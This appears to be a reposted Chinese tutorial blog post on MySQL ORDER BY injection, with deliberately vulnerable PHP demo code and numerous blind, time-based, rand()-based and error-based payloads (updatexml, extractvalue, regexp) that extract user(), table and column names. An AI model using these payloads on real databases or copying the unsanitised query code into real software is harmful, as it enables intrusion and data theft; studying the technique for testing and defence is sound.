热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

mysqlorderby注入_sql注入之orderby注入

本文主要分享【】,技术文章【mysqlorderby注入_sql注入之orderby注入】为【浩泽天】投稿,如果你遇到相关问题,本文相关知识或能到你。0x00前言夜里看了一篇文章,突然

本文主要分享【】,技术文章【mysql order by注入_sql注入之order by注入】为【浩泽天】投稿,如果你遇到相关问题,本文相关知识或能到你。

0x00 前言

夜里看了一篇文章,突然有了启发,赶紧记录一下。

了解order by

参考:

order by是mysql中对查询数据进行排序的方法, 使用示例

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)

select * from 表名 order by 列名(或者数字) desc;降序

这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法

select * from user order by id;

selecr * from user order by 1;

结合union来盲注

$sql = 'select * from admin where username='".$username."'';

$result = mysql_query($sql);

$row = mysql_fetch_array($result);

if(isset($row)&&row['username']!="admin"){

$hit="username error!";

}else{

if ($row['password'] === $password){

$hit="";

}else{

$hit="password error!";

}

}

payload

username=admin' union 1,2,'字符串' order by 3

这里就会对第三列进行比较,即将字符串和密码进行比较。然后就可以根据页面返回的不同情况进行盲注。 注意的是最好加上binary,因为order by比较的时候不区分大小写。

示例

607e61817148470854c9746b0e92758f.png

这里的order by 3是根据第三列进行排序,如果我们union查询的字符串比password小的话,我们构造的 1,2,a就会成为第一列,那么在源码对用户名做对比的时候,就会返回username error!,如果union查询的字符串比password大,那么正确的数据就会是第一列,那么页面就会返回password error!.

这里就来说一下我们上面的payload:

我们想要爆破密码,那么我们可以轮流带入查询来观察排序情况,那么之后一定能注入出密码。

基于if()盲注

需要知道列名

order by的列不同,返回的页面当然也是不同的,所以就可以根据排序的列不同来盲注。

示例:

order by if(1=1,id,username);

这里光看一个这个示例对我这个丑新来说太抽象了,来用具体语句解释:

case when (true) then id else username end

if((select ascii(substr(table_name,1,1)) from information_schema.tables limit 1)<=128,id,username)

条件判断之后需要选择字段名,如: id,username,这里如果使用数字代替列名是不行的,因为if语句返回的是字符类型,不是整型。所以必须知道字段名。

和上面的payload解释一样,我们可以通过一位一位的比较来得到我们想知道的字段。

不需要知道列名

payload

order by if(表达式,1,(select id from information_schema.tables))

如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面。

基于时间的盲注

order by if(1=1,1,sleep(1))

结果:

select * from ha order by if(1=1,1,sleep(1)); #正常时间

select * from ha order by if(1=2,1,sleep(1)); #有延迟

同样的,我们可以在上面的payload中替换我们想要的语句

比如:

order by if((select ascii(substr(table_name,1,1)) from information_schema.tables limit 1)<=128,1,sleep(1))

基于rand()的盲注

order by rand(true); order by rand(false); 返回不同进行盲注。原理是 order by rand()会随机给每个数据生成一个随机数,然后按照随机数排序,true和false实际上转成了整形的1和0作为rand()的种子,这样给每一列都会成一个固定的数,然后根据这个数来排序,所以结果会不同。

fc9696d8cec3b52a73da8432f94dff0c.png

369b0794707c8725bdbd4ecbe00fc604.png

可以看到当rand()为true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。 例

order by rand(ascii(mid((select database()),1,1))>96)

order by后的报错注入

参考:

源码:

error_reporting(0);

session_start();

mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed ");

mysql_select_db("sqlidemo") or die("Select database failed");

$order = $_GET['order'] ? $_GET['order'] : 'name';

$sql = "select id,name,price from goods order by $order";

$result = mysql_query($sql);

$reslist = array();

while($row = mysql_fetch_array($result, MYSQL_ASSOC))

{

array_push($reslist, $row);

}

echo json_encode($reslist);

create database sqlidemo;

这里的话就是order by 后面的参数可控,我们对他进行恶意传参来达到sql注入情况。

"select * from goods order by $_GET['order']"

在早期注入大量存在的时候利用order by子句进行快速猜解列数,再配合union select语句进行回显。可以通过修改order参数为较大的整数看回显情况来判断。在不知道列名的情况下可以通过列的的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1 和order=2是不一样的

payload:

/?order=IF(1=1,name,price) 通过name字段排序

/?order=IF(1=2,name,price) 通过price字段排序

解释见上文。

rand函数也能达到类似的效果,可以观测到排序的结果不一样

/?order=rand(1=1)

/?order=rand(1=2)

利用报错

返回多条记录

/?order=IF(1=1,1,(select+1+union+select+2)) 正确

/?order=IF(1=2,1,(select+1+union+select+2)) 错误

/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常

/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误

利用regexp

/?order=(select+1+regexp+if(1=1,1,0x00)) 正常

/?order=(select+1+regexp+if(1=2,1,0x00)) 错误

利用updatexml

/?order=updatexml(1,if(1=1,1,user()),1) 正确

/?order=updatexml(1,if(1=2,1,user()),1) 错误

利用extractvalue

/?order=extractvalue(1,if(1=1,1,user())) 正确

/?order=extractvalue(1,if(1=2,1,user())) 错误

数据猜解

/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确

/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误

可以得知user()第一位为r,ascii码的16进制为0x72

猜解当前数据库的表名:

/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确

/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误

猜解指定表名中的列名:

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误

参考

本文《mysql order by注入_sql注入之order by注入》版权归浩泽天所有,引用mysql order by注入_sql注入之order by注入需遵循CC 4.0 BY-SA版权协议。


推荐阅读
  • x86 linux的进程调度,x86体系结构下Linux2.6.26的进程调度和切换
    进程调度相关数据结构task_structtask_struct是进程在内核中对应的数据结构,它标识了进程的状态等各项信息。其中有一项thread_struct结构的 ... [详细]
  • 本文介绍了如何在MySQL中将零值替换为先前的非零值的方法,包括使用内联查询和更新查询。同时还提供了选择正确值的方法。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • 本文讨论了使用差分约束系统求解House Man跳跃问题的思路与方法。给定一组不同高度,要求从最低点跳跃到最高点,每次跳跃的距离不超过D,并且不能改变给定的顺序。通过建立差分约束系统,将问题转化为图的建立和查询距离的问题。文章详细介绍了建立约束条件的方法,并使用SPFA算法判环并输出结果。同时还讨论了建边方向和跳跃顺序的关系。 ... [详细]
  • 本文介绍了在MySQL8.0中如何查看性能并解析SQL执行顺序。首先介绍了查询性能工具的开启方法,然后详细解析了SQL执行顺序中的每个步骤,包括from、on、join、where、group by、having、select distinct、union、order by和limit。同时还介绍了虚拟表的概念和生成过程。通过本文的解析,读者可以更好地理解MySQL8.0中的性能查看和SQL执行顺序。 ... [详细]
  • 如何在php文件中添加图片?
    本文详细解答了如何在php文件中添加图片的问题,包括插入图片的代码、使用PHPword在载入模板中插入图片的方法,以及使用gd库生成不同类型的图像文件的示例。同时还介绍了如何生成一个正方形文件的步骤。希望对大家有所帮助。 ... [详细]
  • Python操作MySQL(pymysql模块)详解及示例代码
    本文介绍了使用Python操作MySQL数据库的方法,详细讲解了pymysql模块的安装和连接MySQL数据库的步骤,并提供了示例代码。内容涵盖了创建表、插入数据、查询数据等操作,帮助读者快速掌握Python操作MySQL的技巧。 ... [详细]
  • MySQL数据库锁机制及其应用(数据库锁的概念)
    本文介绍了MySQL数据库锁机制及其应用。数据库锁是计算机协调多个进程或线程并发访问某一资源的机制,在数据库中,数据是一种供许多用户共享的资源,如何保证数据并发访问的一致性和有效性是数据库必须解决的问题。MySQL的锁机制相对简单,不同的存储引擎支持不同的锁机制,主要包括表级锁、行级锁和页面锁。本文详细介绍了MySQL表级锁的锁模式和特点,以及行级锁和页面锁的特点和应用场景。同时还讨论了锁冲突对数据库并发访问性能的影响。 ... [详细]
  • 本文介绍了关系型数据库和NoSQL数据库的概念和特点,列举了主流的关系型数据库和NoSQL数据库,同时描述了它们在新闻、电商抢购信息和微博热点信息等场景中的应用。此外,还提供了MySQL配置文件的相关内容。 ... [详细]
  • Iwanttointegratesort,order,maxandoffsetinafindAllquery.Thefollowingworksfine:我想在fin ... [详细]
  • vue使用
    关键词: ... [详细]
  • 本文介绍了一个在线急等问题解决方法,即如何统计数据库中某个字段下的所有数据,并将结果显示在文本框里。作者提到了自己是一个菜鸟,希望能够得到帮助。作者使用的是ACCESS数据库,并且给出了一个例子,希望得到的结果是560。作者还提到自己已经尝试了使用"select sum(字段2) from 表名"的语句,得到的结果是650,但不知道如何得到560。希望能够得到解决方案。 ... [详细]
  • Ihaveaworkfolderdirectory.我有一个工作文件夹目录。holderDir.glob(*)>holder[ProjectOne, ... [详细]
  • PG12新增的VACUUM命令的SKIP_LOCKED选项
    PG12版本的VACUUM命令新增了SKIP_LOCKED选项,该选项使得vacuum命令在遇到被lock住的table时可以跳过并被视为成功执行。之前的版本中,vacuum命令会一直处于等待状态。本文还提到了PostgreSQL 12.1版本的相关信息。 ... [详细]
  • struts2重点——ValueStack和OGNL
    一、值栈(ValueStack)1.实现类:OGNLValueStack2.对象栈:CompoundRoot( ... [详细]
author-avatar
手机用户2602879667
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有